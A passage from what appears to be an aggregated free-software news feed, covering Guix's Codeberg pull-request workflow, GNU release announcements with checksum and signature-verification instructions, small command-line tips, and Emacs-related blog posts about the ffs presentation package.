Since the user survey highlighted some contributors were frustrated by the delay or the lack of response on contributed patches—a problem that many free software projects struggle with—a question is how well Guix deals with that today. The graph below shows the creation and closing rate of pull requests per month over the past year, together with the monthly backlog (pull requests opened the month before or earlier and still opened). This data was acquired using the amazing Forgejo interface.

This again shows an impressive rate of incoming code—more than 500 pull requests opened each month!—and an equally impressive, but slightly lower, merge rate, leading to a constantly-increasing backlog. A similar backlog was observed on Debbugs before. Today, there are about 639 opened pull requests out of 6,459 ever opened, or 10%; for comparison, Nixpkgs has 12k opened pull requests out of 473k ever opened, or 2.5%. This concerning backlog in Guix can perhaps be attributed to excessive friction and/or insufficient continuous integration feedback.

One source of friction is the requirement for each commit to be signed by an authorized committer. Unlike many other projects, including Nixpkgs, this requirement means that a person needs to take responsibility and to apply and sign changes they merge, as opposed to just clicking the “Merge” button. In a way, we’re trading developer convenience for user security. It’s a tradeoff we’re willing to make because we care about securing the “software supply chain”, but we have yet to see if this cost can be mitigated in some way.

On the bright side, and although this is harder to measure, one positive impact of the move to Codeberg is that activity within the project is more legible. I already mentioned continuous integration that provides feedback directly in pull requests, such that contributors immediately discover it, but there’s more.

Guix teams are reified as Codeberg teams and their scope is given the CODEOWNERS file such that the right people are pinged. A bot also adds a corresponding label—e.g., the team-python label for what’s in the scope of the Python team—allowing for issue and pull request filtering by label. However, teams are not notified of issues tagged with the corresponding label, which is irritating.

Other features such as cross-references among issues/pull requests as well as milestones also appear to facilitate collaboration.

Outlook

This is nice and all but there’s still room for improvement.

Our infrastructure could use some help. Build power for pulls.ci.guix.gnu.org should be increased, ideally with also more diversity—building for non-x86 architectures would be great! Cuirass itself has a number of shortcomings; some are being addressed for the upcoming 1.4.x series but there’s more work to be done. And also, pulls.ci.guix.gnu.org remains very much package-oriented; it would be nice, when appropriate, to run system tests as well.

The packager workflow still leaves a bit to be desired, in particular with regards to topic branches and world rebuild scheduling, which is still mostly tied to… our otherwise retired bug tracker.

We also want to remain good citizens, not causing excessive load on Codeberg servers (oops!) and keeping an eye on storage use: a single “fork” of Guix could exceed Codeberg’s new per-user quota of 750 MiB. The solution would be to require new contributors to use the AGit workflow to create pull requests. AGit is already popular among Guix contributors; however, the idea of requiring it is seen as a “downgrade” by some because it lacks the familiarity of the “regular” pull request workflow. One way to mitigate that might be to make it more discoverable with an “AGit fork” icon as was done for Gentoo.

Part of being a good citizen, for Guix and for Codeberg e.V., is listening to and accounting for one another’s concern, and this has worked beautifully so far. Guix Foundation recently voted to become a supporting (non-voting) member of Codeberg e.V. as a way to express gratitude and support.

Oh, breaking news: a pull request adding Forgejo and a service to set it up on Guix has just been submitted! Purely declarative configuration, fully reproducible deployment of a forge—can you imagine⁈ Symbiosis at play.

Acknowledgments

Many thanks to Steve “Futurile” George, Noé Lopez, and Maxim Cournoyer for reviewing an earlier draft of this post.

Statement regarding GNU Savannah security reports

2026-06-19T21:13:07+00:00

longintrepr.h

2026-06-18T11:38:44+00:00

Did your pip install fail with longintrepr.h: No such file or directory? The file likely is on your system, but it sometime or another it was moved, from /usr/include/python3.xx/longintrepr.h to /usr/include/python3.xx/cpython/longintrepr.h. The proper fix is to update the package in question with the new path, but if you’re installing an old version of something or a package that’s no longer maintained you can work around it like this:

ln -s /usr/include/python3.*/cpython/longintrepr.h .venv/include

CSSC-1.5.0-rc3 is released

2026-06-17T11:05:21+00:00

This is to announce CSSC-1.5.0-rc3, a beta release.

This is a release candidate for a future stable 1.5.0 release.

There have been 46 commits by 2 people in the 109 weeks since CSSC-1.5.0-rc2.

See the NEWS below for a brief summary.

Thanks to everyone who has contributed!
The following people contributed changes to this release:

Greg A. Woods (1)
Paul Bryce (2)
James Youngman (43)

James
==================================================================

Here is the GNU CSSC home page:
    https://gn ... rg/s/CSSC/

Here are the compressed sources and a GPG detached signature:
https://alpha.gnu ... -1.5.0-rc3.tar.gz
https://alpha.gnu ... .0-rc3.tar.gz.sig

Use a mirror for higher download bandwidth:
https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

File: CSSC-1.5.0-rc3.tar.gz
SHA256 sum:   a78bc23062b11c33a858acd8a08c173ea2957f763f5b7ddb2990c0fee7c71cec
SHA3-256 sum: 20733dd3c517c1bb44c67088b1a208ebf00e1eab4ab21e806bd963869faf918a

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:

gpg --verify CSSC-1.5.0-rc3.tar.gz.sig

The signature should match the fingerprint of the following key:

pub   rsa4096 2015-12-24 [SC]
        0CF4 E8D8 7159 3224 8428 32B8 88DD 9E08 C5DD ACB9
uid   James Youngman <james@youngman.org>
uid   James Youngman <jay@gnu.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

gpg --locate-external-key james@youngman.org

gpg --recv-keys 88DD9E08C5DDACB9

wget -q -O- 'https://savannah. ... SC&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0-rc3.tar.gz.sig

This release is based on the CSSC git repository, available as

git clone https://https.git ... .org/git/CSSC.git

with commit 26add75e45f79cd493409ee2f0c2646849314aad tagged as v1.5.0-rc3.

For a summary of changes and contributors, see:

https://gitweb.gi ... tlog;h=v1.5.0-rc3

or run this command from a git-cloned CSSC directory:

git shortlog 43b5b054701732df7ce24eb59821010c39c60cb6..v1.5.0-rc3

This release was bootstrapped with the following tools:
Autoconf 2.72
Automake 1.17
Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df

NEWS

Noteworthy changes in release 1.5.0-rc3 (2026-06-14)

        * Some typos in error message have been fixed.

        * admin now supports combination of -r with -n as well as the
          portable combination of -r with -i.

        * Support "sccs sact"; the sact program already existed but
could not previously be invoked via the sccs wrapper.
Thanks to Greg A. Woods for this improvement.

        * In some places we now prefer "grep -E" to "egrep" in order
          to avoid a warning message from GNU grep. Some very old
          versions of Unix may not support this option.

        * Various C++ portability improvements.

Updated version of gnulib.

Updated version of googletest; this is now at the last

version at which it still supported building with Automake.

Confidentiality and the digital euro

2026-06-09T22:00:00+00:00

organized by CNIL

GNUtrition 0.33

2026-06-05T22:37:48+00:00

GNUtrition 0.33 is now released. This marks the first release of GNUtrition since 2012, approximately 14 years ago!

GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.

This release is a complete rewrite of GNUtrition in C rather than Python 2 with a new GTK 3 interface replacing the old GTK 2 one. The Nutrient Database of Standard Reference, which stopped getting updated in 2018, was replaced with the USDA Food and Nutrition Database for Dietary Studies. With help from some test volunteers, the build and installation process was better streamlined to resolve critical issues and difficulties so that GNUtrition can be a better program overall.

Considering the time between releases, GNUtrition currently is not available on OS package repositories (as far as I am aware). If you package software for your operating system's package manager, it would be very helpful if you could start packaging GNUtrition so that it may be even more easily used by people on said systems. If you don't, you may still request to those who do to start including GNUtrition.

Thank you to everyone who tested/used GNUtrition 0.33's release candidates and provided meaningful feedback on its functionality, design, and so on. I would also like to especially thank Jason Self for providing us with the C rewrite in the first place.

More information about GNUtrition may be found on its home page at http://gnu.org/so ... tware/gnutrition/. This release can be obtained from the ftp.gnu.org server at one of the following:

ftp://ftp.gnu.o ... gnu/gnutrition/
http://ftp.gnu.or ... g/gnu/gnutrition/
https://ftp.gnu.o ... g/gnu/gnutrition/

The FTP mirror list is available at https://gnu.or ... order/ftp.html, and https://ftpmirror ... u.org/gnutrition/ will automatically redirect you to a nearby mirror.

Please report any problems you experience to the GNUtrition bug reports mailing list: bug-gnutrition@gnu.org (https://lists.gnu ... fo/bug-gnutrition).

Happy hacking and calorie counting!!

GNU direvent version 5.5

2026-06-05T19:39:17+00:00

Version 5.5 of GNU direvent is available for downloads. New in this version:

All subprocesses are terminated before exit
New configuration statement: shutdown-timeout

See the NEWS file for more details.

libtool-2.6.1 released [beta]

2026-06-04T18:42:18+00:00

Libtoolers!

The Libtool Team is pleased to announce the release of libtool 2.6.1, a beta release.

GNU Libtool hides the complexity of using shared libraries behind a
consistent, portable interface. GNU Libtool ships with GNU libltdl, which
hides the complexity of loading dynamic runtime libraries (modules)
behind a consistent, portable interface.

There have been 34 commits by 14 people in the 37 weeks since 2.6.0.

See the NEWS below for a brief summary.

Thanks to everyone who has contributed!
The following people contributed changes to this release:

Alexandre Janniaux (4)
Alexey Samsonov (1)
Anthony Mallet (1)
Arnold (1)
Dima Pasechnik (1)
Frederic Berat (1)
Ileana Dumitrescu (15)
KO Myung-Hun (4)
Kirill Makurin (1)
Mintsuki (1)
Nicolas Boulenguez (1)
Olly Betts (1)
Patrice Dumas (1)
Richard J. Mathar (1)

Ileana
[on behalf of the libtool maintainers]
==================================================================

Here is the GNU libtool home page:
    https://gnu. ... g/s/libtool/

Here are the compressed sources:
https://alpha.gnu ... tool-2.6.1.tar.gz   (2.1MB)
https://alpha.gnu ... tool-2.6.1.tar.xz   (1.1MB)

Here are the GPG detached signatures:
https://alpha.gnu ... -2.6.1.tar.gz.sig
https://alpha.gnu ... -2.6.1.tar.xz.sig

Use a mirror for higher download bandwidth:
https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

File: libtool-2.6.1.tar.gz
SHA256 sum:   52264ab2fca9464dea9f6a0355d39e49b18f40468b9b6dbc3d151a0dba307a4b
SHA3-256 sum: 59826fb74043179c38a393448b92dfcdfbe9046fd3b23a7079665984f22d6688

File: libtool-2.6.1.tar.xz
SHA256 sum:   3fb21f1e99fcdd8565c9b00fb1371db457b82a0da7cba273e1617c954b0ad1ee
SHA3-256 sum: 614bc3ed43293be989ec3305dae42fc4e81234429477490734a40f6d3316560b

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:

gpg --verify libtool-2.6.1.tar.gz.sig

The signature should match the fingerprint of the following key:

pub   rsa4096 2021-09-23 [SC]
        FA26 CA78 4BE1 8892 7F22 B99F 6570 EA01 146F 7354
uid   Ileana Dumitrescu <ileanadumitrescu95@gmail.com>
uid   Ileana Dumitrescu <ileanadumi95@protonmail.com>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

gpg --locate-external-key ileanadumitrescu95@gmail.com

gpg --recv-keys 6570EA01146F7354

wget -q -O- 'https://savannah. ... ol&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
gpg --keyring gnu-keyring.gpg --verify libtool-2.6.1.tar.gz.sig

This release is based on the libtool git repository, available as

git clone https://https.git ... g/git/libtool.git

with commit 79de7bb71bc0a1167f4c4ae8bd897976a0ff2b51 tagged as v2.6.1.

For a summary of changes and contributors, see:

https://gitweb.gi ... shortlog;h=v2.6.1

or run this command from a git-cloned libtool directory:

git shortlog v2.6.0..v2.6.1

This release was bootstrapped with the following tools:
Autoconf 2.73
Automake 1.18.1
Gnulib 2026-05-12 722f67e9716bf914c18d468336c1f4f9e5cce915

NEWS

Noteworthy changes in release 2.6.1 (2026-06-04) [beta]

GNUtrition 0.33.0rc5

2026-06-02T21:04:17+00:00

A test release of GNUtrition, 0.33.0rc5, is now available.

GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.

This release fixes bugs from 0.33.0rc1-rc4, removes inaccurate algorithm constants, removes additional unnecessary dependencies, improves reliability/usability on non-GNU systems, among other general improvements and bug fixes. Version 0.33.0 (the first ftp.gnu.org release of GNUtrition since 2012) is expected to be released by June 5th. Any and all testing for the upcoming release will be greatly appreciated. Please use the bug-gnutrition and help-gnutrition mailing lists for your bug reports and/or other questions.

More information about GNUtrition may be found on its home page at http://www.gnu.or ... tware/gnutrition/. This test release can be obtained from the alpha.gnu.org server at one of the following:

    ftp://alpha.gnu.o ... g/gnu/gnutrition/
    http://alpha.gnu. ... g/gnu/gnutrition/
    https://alpha.gnu ... g/gnu/gnutrition/

Please report any problems you experience to the GNUtrition bug reports mailing list: bug-gnutrition@gnu.org (https://lists.gnu ... fo/bug-gnutrition).

FreeIPMI 1.6.18 Released

2026-06-02T17:39:55+00:00

o Support new "altbridging" workaround in ipmi-sensors.
o Fix exploitable buffer overflows in the following ipmi-oem
commands:
- ipmi-oem dell get-active-directory-config
- ipmi-oem fujitsu get-sel-entry-long-text

https://ftp.gnu.o ... pmi-1.6.18.tar.gz

Free software activities in May 2026

2026-06-01T02:30:00+00:00

Hello and welcome to my May 2026 free software activities report. A lot's been going on in my life offline so I took a bit of a hiatus from doing these reports, but I've had a fairly productive month of May so I thought it'd be nice to do another one for this month.

GNU & FSF

GNU Emacs:
- ffs-0.2.2: I finally polished and published my ffs package for GNU Emacs on GNU ELPA. Many thanks to Protesilaos for rounds of code review and feedback for improving and polishing the package in preparation for submission to GNU ELPA.
- bug#81101: Trying to visit https://www.emacswiki.org in EWW I noticed it fails with a Somebody wants you to give them money error due to the anti-bot challenge being served with a HTTP 402 (Payment Required) response. So I landed a patch 12eec781ed6 to no longer do that. Thanks to Emacs comaintainer Sean Whitton for reviewing and approving my proposed patch.
- bug#81107: I noticed that in EWW, unlike <input type="submit"> HTML buttons, <button> elements were not tab-stoppable, leading to poorer usability and accessibility. So I landed a patch ec3d662de0b to fix that. Thanks to Emacs comaintainer Eli Zaretskii for reviewing, providing feedback, and accepting my proposed change.
- Emacs Chat with Sacha Chua: I joined Sacha for a new episode of her Emacs Chat podcast, where we talked about Emacs and life. I gave a quick tour of my Emacs configuration, discussing at length my configurations for EXWM (Emacs X Window Manager) among other topics like Emacs's facility for visually indicating buffer boundaries in the fringe by setting indicate-buffer-boundaries and my convenience configuration macros.
maintainers@: I started the next long-overdue round of emails to GNU package maintainers to confirm the contact information we have on file for them and get a brief status update about their packages. Emails are sent in small batches to keep the workload of handling the responses manageable for assistant GNUisances.
GNU Spotlight: I prepared and sent the May GNU Spotlight to the FSF campaigns team for publication on the FSF's community blog and the monthly Free Software Supporter newsletter.

Debian

I've begun the work toward updating the Jami package in Debian unstable again, which means I need to package new releases of its direct and indirect dependencies. For OpenDHT, I need to update RESTinio, and to do that I first need to package expected-lite and sobjectizer for Debian:

#1120837: ITP: expected-lite – expected objects for C++11 and later
#1137609: ITP: sobjectizer – C++ implementation of Actor, Publish-Subscribe, and CSP models

I've been working on packaging both and hope to have them uploaded to the archive in the next days and weeks.

That's it for this month's report.

Take care, and so long for now.

GNUtrition 0.33.0rc4

2026-05-29T18:03:17+00:00

A test release of GNUtrition, 0.33.0rc4, is now available.

GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.

This release improves how user ages are stored and used by GNUtrition. You no longer need to manually update your age every year on (or near) your birthday. Thankfully, no database changes/migrations are necessary for this, you just need to enter your birthday and you will be good to go!

More information about GNUtrition may be found on its home page at http://www.gnu.or ... tware/gnutrition/. This test release can be obtained from the alpha.gnu.org server at one of the following:

    ftp://alpha.gnu.o ... g/gnu/gnutrition/
    http://alpha.gnu. ... g/gnu/gnutrition/
    https://alpha.gnu ... g/gnu/gnutrition/

Please report any problems you experience to the GNUtrition bug reports mailing list: bug-gnutrition@gnu.org (https://lists.gnu ... fo/bug-gnutrition).

GNUtrition 0.33.0rc3

2026-05-29T01:50:47+00:00

A test release of GNUtrition, 0.33.0rc3, is now available.

GNUtrition is free nutrition analysis software written for the GNU operating system. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.

This release removes a number of dependencies that broke building/installing on various systems. You no longer need to have a full LibreOffice, ncurses, SQLite, or LaTeX/TexInfo install to build and install GNUtrition.

More information about GNUtrition may be found on its home page at http://www.gnu.or ... tware/gnutrition/. This test release can be obtained from the alpha.gnu.org server at one of the following:

    ftp://alpha.gnu.o ... g/gnu/gnutrition/
    http://alpha.gnu. ... g/gnu/gnutrition/
    https://alpha.gnu ... g/gnu/gnutrition/

Please report any problems you experience to the GNUtrition bug reports mailing list: bug-gnutrition@gnu.org (https://lists.gnu ... fo/bug-gnutrition).

GNU Parallel 20260522 ('Hantavirus') released

2026-05-26T20:55:29+00:00

GNU Parallel 20260522 ('Hantavirus') has been released. It is available for download at: lbry://@GnuParallel:4

Quote of the month:

...and GNU Parallel is fun.
-- DJviolin@reddit

New in this release:

--fast rewritten. 1 million jobs in 10 seconds. Try: seq 1000000 | time parallel --fast echo | wc -l
Bug fixes and man page updates.

About GNU Parallel

Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparall ... igns/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference

If you use programs that use GNU Parallel for research:

Please cite GNU Parallel in you publications (use --citation)

If GNU Parallel saves you money:

(Have your company) donate to FSF https://my.f ... .org/donate/

About GNU SQL

About GNU Niceload

Thinking about life - chat with Protesilaos

2026-05-24T02:39:15+00:00

In the recent weeks I've been engaging Prot as a coach to help review my new ffs package for GNU Emacs as I worked on preparing it for inclusion in GNU ELPA, as well as discussing other Emacs- and life-related topics.

UPDATE 2026-05-23 22:39:15 -0400: Prot also published an article about our session on his website: https://protesilaos.com/commentary/2026-05-23-life-issues-and-philosophy-amin-bandali/

In our nearly 2-hour conversation, we discussed at length and in depth various aspects of life in the current times. For instance, feeling overwhelmed in the face of innumerable things happening at once, with technology changing our perception and making events feel proximate and imminent.

We talked about seasonality and rhythms in life, including in relation to burnout and knowing our own limitations, and descriptive vs prescriptive thinking when reflecting on the expectations we may place on our self when comparing our self to others through the lens of our necessarily-incomplete impressions and glimpses of their lives. We discussed absence or loss as a dual to presence or persistence in the process of life. How with our memories and through embodying the philosophy and teachings of departed loved ones their essence and legacy continues to live on within us. But also loss in the sense of us losing parts of our self in life-defining moments while preserving other parts and gaining new ones, being liberated of some of the burdens of our past self and in effect becoming someone else in the process.

In being true to our self, we talked about humans as multi-faceted beings and the importance of expressing and giving a voice to these different aspects of our self, and keeping alive that child-like sense of awe and wonder. To live a life where the pace and rhythms of our environment are in sync with our internal rhythms, and to not give others undue power over us or our happiness through trying to live according to their prescribed standards or expectations.

I also learned more about Prot's practical philosophy of situational awareness in life, not merely as a means for survival, but also as a way of appreciating all of the beauty that surrounds us, and a method for gaining the knowledge and skills to apply what we learn from patterns in one area of life to other areas.

We concluded our session with a mention to the concept of sanctity, to set aside a sacred time or place for our self wherein no distractions are allowed, where we can unwind, rest, and recharge for whatever comes next.

Here is the video recording of our session, which I share with Prot's permission:

Sorry, this embedded video will not work, because your web browser does not support HTML5 video.
[ please watch the video in your favourite streaming media player ]â€‹

You can view or download the full-resolution video from the Internet Archive.

Like Prot, I am invigorated and inspired to live a full, honest life. To do my best, do what I do in earnest, and make the best of what I have.

Take care, and so long for now.

Forty-six free software meetups on six continents

2026-05-22T20:14:22+00:00

BOSTON, Massachusetts, USA (Tuesday, May 19, 2026) â€” The Free Software Foundation (FSF) reports that its global call for free software supporters to organize LibreLocals this May resulted in free software supporters organizing forty-six LibreLocal events on six continents thus far. New dates and locations are being added daily.

ffs 0.2.2 released

2026-05-22T10:55:10+00:00

ffs provides a minor mode for simple plain text presentations in Emacs, where the slides are separated using the page-delimiter, by default the form feed character (^L).

I wrote ffs in early 2022 for my LibrePlanet 2022 presentation the Net beyond the Web, and earlier this year decided to polish it towards being a proper package and submit it to GNU ELPA. The manual still needs some more work, but the overall package is in pretty good shape so I submitted for inclusion in GNU ELPA.

Package name (GNU ELPA): ffs
Official manual: https://kelar.org/~bandali/gnu/emacs/ffs.html
Change log: https://kelar.org/~bandali/gnu/emacs/ffs-changelog.html
Git repository: https://git.kelar.org/~bandali/ffs
Backronyms: fabulous foolproof slides - for freedom's sake - ffs flips slides

ffs and I owe a debt of gratitude to Protesilaos for rounds of code review and feedback for improving and polishing the package in preparation for submission to GNU ELPA. You can watch videos of these sessions posted earlier on my website:

Further, inspiration for parts of ffs's implementation was gratefully drawn from Protesilaos's Logos package for Emacs.

Dedicated to the loving memory of Farangis Yousefinia.

Below are the release notes.

Version 0.2.2 on 2026-05-21

First release of ffs on GNU ELPA.

The attempted build of ffs 0.2.1 within GNU ELPA build sandbox failed with an Error: void-function (org-texinfo-kbd-macro) due to use of #+macro: kbd (eval (org-texinfo-kbd-macro $1)) in ffs.org for better formatting of key sequences in the exported Texinfo copy. This seems to have happened for the specific case of generating a plain text README using ox-ascii where ELPA didn't load ox-texinfo. To try and mitigate this, a README.md has been added for use as the package README instead of ffs.org. If not sufficient, a Texinfo copy of the ffs manual will be shipped instead of the Org one in the next release.

ffs 0.2.2 also includes small fixes and improvements throughout ffs.el from Stefan Monnier, and additional feedback to be addressed in future releases.

Version 0.2.1 on 2026-05-20

The attempted build of ffs 0.2.0 within GNU ELPA build sandbox failed with a "Cannot include file" error on the "#+include: fdl.org" in the manual. So, as a workaround, we switch to using the official Texinfo copy of the GNU FDL license rather than an Org copy.

Version 0.2.0 on 2026-05-19

First release of ffs intended for GNU ELPA.

After a few years of inactivity, in early 2026 I decided to dust off ffs.el, polish and document it, and offer for inclusion in GNU ELPA as a proper package.

Default value of `ffs-default-face-height` changed to nil

To minimize unexpected and/or unnecessary changes out-of-the-box, the default value of ffs-default-face-height has been changed to nil.

`ffs-edit-buffer-name` demoted from user option to variable

This is not an important user-facing setting, so to help avoid overwhelming users with many options, this has been demoted from a user option to a variable.

Several new user options for customizing `ffs`'s behaviour

As part of the effort to bring ffs more in line with the conventions of other existing Emacs packages, the mechanisms for toggling various parts of Emacs's interface to minimize visual clutter were changed from being minor modes to being customizable user options. These are the replacement new user options, with a default value of nil:

ffs-hide-cursor
ffs-hide-mode-line
ffs-hide-header-line

Their value is buffer-local, and may be set globally using setq-default. See the sample configuration in the manual for an example of how to customize them.

The new ffs-page-delimiter user option defines the page delimiter inserted by ffs-edit-done when inserting a new slide. Emacs's page-delimiter regexp should be able to match ffs-page-delimiter's value, so if you use a custom page-delimiter be sure to customize ffs-page-delimiter accordingly.

The new ffs-echo-progress user option controls whether to display in echo area the progress through the slides. When non-nil, changing slides will also display the progress through the slides in the echo area. The format of the displayed progress can be customized using the new ffs-echo-progress-format user option.

The new ffs-edit-display-buffer-alist user option may be used to control the Window configuration for the ffs-edit buffer. By default, it will display the ffs-edit buffer in the same window.

The new ffs-edit-done-hook user option may be used to define hooks to be run at the end of ffs-edit-done after returning to the main ffs presentation buffer.

Lastly, a new ffs-find-speaker-notes-function variable was added to allow customizing the find function used for opening the speaker's notes file, defaulting to find-file-other-frame.

Version 0.1.0 on 2022-05-19

Initial publication of ffs.el as part of my personal configurations for GNU Emacs.

My first attempt at this concept was a now-archived ffsanim.el, a major mode implementation that used Emacs's animate library to animate slide texts onto the screen. Shortly after realizing the shortcomings of that approach, I abandoned it in favour a minor mode implementation and published version 0.1.0 of what is now ffs in my personal configs repository.

I used this implementation for presenting my LibrePlanet 2022 talk, The Net beyond the Web.

I picked "ffs" as the package name, the acronym for form feed slides.

New GNU Taler integration in be-BOP

2026-05-20T22:00:00+00:00

A new GNU Taler integration is now officially available: be-BOP.

Docker images by age or size

2026-05-19T10:58:35+00:00

Files by age, newest first:

ls -lt

Docker images by age, newest first:

docker images --format "{{.CreatedAt}}\t{{.Repository}}:{{.Tag}}" | sort -r

Files by size, largest first:

ls -lS

Docker images by size, largest first:

docker images --format "{{.Size}}\t{{.Repository}}:{{.Tag}}" | sort -rh

Why why why??!

FFS code review and Emacs extensibility with Protesilaos

2026-05-15T12:50:10+00:00

In the recent weeks I've been engaging Prot as an Emacs coach to help with doing review passes over my upcoming ffs package as I work on polishing and documenting it in preparation for offering it for inclusion in GNU ELPA.

UPDATE 2026-05-15 08:50:10 -0400: Prot also published an article about our session on his website: https://protesilaos.com/codelog/2026-05-15-emacs-amin-bandali-ffs-display-buffer-org-capture/

Today we had our third session where we started by reviewing and talking about my recent changes to ffs, then ventured to other Emacs-related topics with the overarching theme of the flexibility and extensibility of GNU Emacs, including display-buffer-alist, keyboard macros, defining a custom ox-bhtml Org export backend derived from Org's ox-html for ultimate flexibility when exporting my site's pages from Org to HTML, Org capture, plain text files and Emacs's diary and how it compares to org-agenda, and keeping a journal with the help of Emacs.

Here is the video recording of our session, which I share with Prot's permission:

Sorry, this embedded video will not work, because your web browser does not support HTML5 video.
[ please watch the video in your favourite streaming media player ]â€‹

You can view or download the full-resolution video from the Internet Archive.

Lastly, here is the snippet Prot shared for having Isearch treat space as a wildcard, helpful for more easily matching multiple parts of a line:

(setq search-whitespace-regexp ".*?")
(setq isearch-lax-whitespace t)
(setq isearch-regexp-lax-whitespace nil)

Take care, and so long for now.